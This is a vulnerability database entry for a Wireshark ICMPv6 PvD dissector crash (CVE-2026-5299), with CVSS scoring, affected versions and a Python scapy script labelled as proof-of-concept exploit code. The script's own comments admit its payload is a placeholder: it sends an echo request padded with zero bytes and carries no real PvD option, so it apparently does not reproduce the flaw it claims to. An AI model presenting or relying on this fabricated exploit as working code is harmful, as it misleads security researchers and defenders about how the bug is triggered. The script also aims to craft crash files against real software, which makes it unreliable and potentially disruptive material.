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CVE-2026-5299 CVSS 5.5 MEDIUM

CVE-2026-5299

Published: 2026-04-30 07:16:38
Last Modified: 2026-05-01 19:26:44

Description

ICMPv6 PvD protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.4.0 - 4.4.14
Wireshark 4.6.0 - 4.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
from scapy.all import * # Define a crafted ICMPv6 packet with malformed PvD options def generate_malformed_packet(): # Construct basic IPv6 and ICMPv6 headers # Note: PvD is a specific option within ICMPv6. Here we simulate a malformed payload. pkt = IPv6(src="2001:db8::1", dst="2001:db8::2") / ICMPv6EchoRequest() # Add a raw payload that simulates a malformed PvD structure to trigger the crash # This is a representative payload as the exact trigger bytes are specific to the CVE. malformed_payload = b"\x00" * 100 # Example of buffer that might cause overflow pkt = pkt / Raw(load=malformed_payload) # Save to pcap wrpcap("cve_2026_5299_poc.pcap", [pkt]) print("[+] PoC file generated: cve_2026_5299_poc.pcap") print("[+] Open this file with vulnerable Wireshark to reproduce the crash.") if __name__ == "__main__": generate_malformed_packet()

References

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